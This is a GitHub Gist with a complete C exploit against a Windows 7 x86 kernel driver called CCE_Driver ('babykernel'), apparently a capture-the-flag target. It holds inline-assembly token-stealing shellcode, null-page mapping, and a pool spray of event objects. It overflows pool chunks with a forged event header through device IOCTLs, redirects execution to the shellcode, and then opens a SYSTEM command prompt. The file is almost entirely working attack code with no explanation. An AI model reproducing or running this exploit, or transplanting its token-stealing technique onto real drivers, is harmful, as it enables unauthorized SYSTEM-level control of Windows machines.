Last active
January 10, 2020 16:27
-
-
Save y0ny0ns0n/0155aa05b1f4ec40d8c3bd2eca7f0cc2 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <time.h> | |
#include <stdio.h> | |
#include <Windows.h> | |
#include <Psapi.h> | |
#include <winioctl.h> | |
#include <TlHelp32.h> | |
#define BABY_IOCTL_CODE1 0x221DDF | |
#define BABY_IOCTL_CODE2 0x221DE3 | |
#define BABY_IOCTL_CODE3 0x221DEB | |
#define DRIVER_NAME "\\\\.\\CCE_Driver" | |
// From https://github.com/hacksysteam/HackSysExtremeVulnerableDriver | |
// Windows 7 SP1 x86 Offsets | |
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread | |
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process | |
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId | |
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink | |
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token | |
#define SYSTEM_PID 0x004 // SYSTEM Process PID | |
VOID TokenStealingPayloadPoolOverflowWin7() { | |
__asm { | |
pushad ; Save registers state | |
; Start of Token Stealing Stub | |
xor eax, eax ; Set ZERO | |
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread | |
; _KTHREAD is located at FS:[0x124] | |
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process | |
mov ecx, eax ; Copy current process _EPROCESS structure | |
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 | |
SearchSystemPID: | |
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink | |
sub eax, FLINK_OFFSET | |
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId | |
jne SearchSystemPID | |
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token | |
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token | |
; with SYSTEM process nt!_EPROCESS.Token | |
; End of Token Stealing Stub | |
popad ; Restore registers state | |
; Kernel Recovery Stub | |
mov eax, 0x1 | |
} | |
} | |
typedef NTSTATUS (WINAPI *NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle, | |
IN OUT PVOID *BaseAddress, | |
IN ULONG ZeroBits, | |
IN OUT PULONG AllocationSize, | |
IN ULONG AllocationType, | |
IN ULONG Protect); | |
NtAllocateVirtualMemory_t NtAllocateVirtualMemory; | |
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) | |
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) | |
BOOL MapNullPage() { | |
HMODULE hNtdll; | |
SIZE_T RegionSize = 0x1000; // will be rounded up to the next host | |
// page size address boundary -> 0x2000 | |
PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host | |
// page size address boundary -> 0x00000000 | |
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; | |
hNtdll = GetModuleHandleA("ntdll.dll"); | |
// Grab the address of NtAllocateVirtualMemory | |
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); | |
if (!NtAllocateVirtualMemory) { | |
printf("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
// Allocate the Virtual memory | |
NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, | |
&BaseAddress, | |
0, | |
&RegionSize, | |
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, | |
PAGE_EXECUTE_READWRITE); | |
if (NtStatus != STATUS_SUCCESS) { | |
printf("[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus); | |
exit(EXIT_FAILURE); | |
} | |
else { | |
printf("[+] Memory Allocated: 0x%p\n", BaseAddress); | |
printf("[+] Allocation Size: 0x%X\n", RegionSize); | |
} | |
FreeLibrary(hNtdll); | |
return TRUE; | |
} | |
int main() { | |
HANDLE hDriver = NULL; | |
ULONG BytesReturned; | |
HANDLE evtArr[0x30000]; | |
STARTUPINFOA StartupInfo = {0}; | |
PROCESS_INFORMATION ProcessInformation = {0}; | |
PVOID EopPayload = &TokenStealingPayloadPoolOverflowWin7; | |
PVOID Memory = NULL; | |
PULONG UserModeBuffer = NULL; | |
PVOID BaseAddress = (PVOID)0x00000001; | |
SIZE_T RegionSize = 0x1000; | |
hDriver = CreateFileA( | |
DRIVER_NAME, | |
GENERIC_READ | GENERIC_WRITE, | |
FILE_SHARE_READ | FILE_SHARE_WRITE, | |
NULL, | |
OPEN_EXISTING, | |
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, | |
NULL); | |
if(hDriver == INVALID_HANDLE_VALUE) { | |
perror("CreateFileA"); | |
return -1; | |
} | |
printf("[+] Token Stealing Shellcode = 0x%08x\n", EopPayload); | |
printf("[+] babykernel handler = 0x%x\n", hDriver); | |
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x2000); | |
// spray | |
for(int i = 0; i < 0x1000-2; i++) { | |
RtlFillMemory((PVOID)UserModeBuffer, 0x20, 0x41); // "A" * 0x20 | |
Memory = (PVOID)((ULONG)UserModeBuffer + 0x20); | |
*(PULONG)Memory = (ULONG)0xfffffff8; // 0xfffffff8 | |
DeviceIoControl( | |
hDriver, | |
BABY_IOCTL_CODE1, | |
(LPVOID)UserModeBuffer, | |
0x4c, | |
NULL, | |
0, | |
&BytesReturned, | |
NULL | |
); | |
} | |
RtlFillMemory((PVOID)UserModeBuffer, 0x20, 0x42); // "B" * 0x20 | |
Memory = (PVOID)((ULONG)UserModeBuffer + 0x20); | |
*(PULONG)Memory = (ULONG)0xfffffff8; // 0xfffffff8 | |
DeviceIoControl( | |
hDriver, | |
BABY_IOCTL_CODE1, | |
(LPVOID)UserModeBuffer, | |
0x4c, | |
NULL, | |
0, | |
&BytesReturned, | |
NULL | |
); | |
RtlFillMemory((PVOID)UserModeBuffer, 0x20, 0x43); // "C" * 0x20 | |
Memory = (PVOID)((ULONG)UserModeBuffer + 0x20); | |
*(PULONG)Memory = (ULONG)0xfffffff8; // 0xfffffff8 | |
DeviceIoControl( | |
hDriver, | |
BABY_IOCTL_CODE1, | |
(LPVOID)UserModeBuffer, | |
0x4c, | |
NULL, | |
0, | |
&BytesReturned, | |
NULL | |
); | |
for(int i = 0; i < 0x30000; i++) | |
evtArr[i] = CreateEvent(NULL, FALSE, FALSE, NULL); | |
RtlFillMemory((PVOID)UserModeBuffer, 0x20, 0x44); // "D" * 0x20 | |
Memory = (PVOID)((ULONG)UserModeBuffer + 0x20); | |
*(PULONG)Memory = (ULONG)0xfffffff8; // 0xfffffff8 | |
DeviceIoControl( | |
hDriver, | |
BABY_IOCTL_CODE1, | |
(LPVOID)UserModeBuffer, | |
0x4c, | |
NULL, | |
0, | |
&BytesReturned, | |
NULL | |
); | |
// getchar(); | |
Memory = (PVOID)((ULONG)UserModeBuffer + 0x0); | |
*(PULONG)Memory = (ULONG)0x00001000; // 0x00001000 | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0x00000030; // 0x00000030 | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
RtlFillMemory((PVOID)Memory, 0x20, 0x44); // "D" * 0x20 | |
Memory = (PVOID)((ULONG)Memory + 0x20); | |
RtlFillMemory((PVOID)Memory, 0x8, 0x45); // "E" * 0x8 | |
// fake event handler | |
Memory = (PVOID)((ULONG)Memory + 0x8); | |
*(PULONG)Memory = (ULONG)0x04080002; | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0xee657645; | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0x00000000; | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0x00000040; | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0x00000000; | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0x00000000; | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0x00000001; | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0x00000001; | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0x00000000; | |
Memory = (PVOID)((ULONG)Memory + 0x4); | |
*(PULONG)Memory = (ULONG)0x00080000; | |
DeviceIoControl( | |
hDriver, | |
BABY_IOCTL_CODE2, | |
(LPVOID)UserModeBuffer, | |
0x58, | |
NULL, | |
0, | |
&BytesReturned, | |
NULL | |
); | |
MapNullPage(); | |
*(PULONG)0x00000060 = (ULONG)EopPayload; | |
// printf("[+] Allocate Heap chunks...will crash if you continue(y/n) "); | |
for(int i = 0; i < 0x30000;i++) | |
CloseHandle(evtArr[i]); | |
*(PULONG)Memory = (ULONG)0x1000; | |
DeviceIoControl( | |
hDriver, | |
BABY_IOCTL_CODE3, | |
(LPVOID)UserModeBuffer, | |
0x4, | |
NULL, | |
0, | |
&BytesReturned, | |
NULL | |
); | |
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); | |
StartupInfo.wShowWindow = SW_SHOW; | |
StartupInfo.cb = sizeof(STARTUPINFOA); | |
StartupInfo.dwFlags = STARTF_USESHOWWINDOW; | |
if (!CreateProcessA( | |
NULL, | |
"cmd.exe", | |
NULL, | |
NULL, | |
FALSE, | |
CREATE_NEW_CONSOLE, | |
NULL, | |
NULL, | |
&StartupInfo, | |
&ProcessInformation)) { | |
printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError()); | |
return -1; | |
} | |
WaitForSingleObject(ProcessInformation.hProcess, INFINITE); | |
CloseHandle(ProcessInformation.hThread); | |
CloseHandle(ProcessInformation.hProcess); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment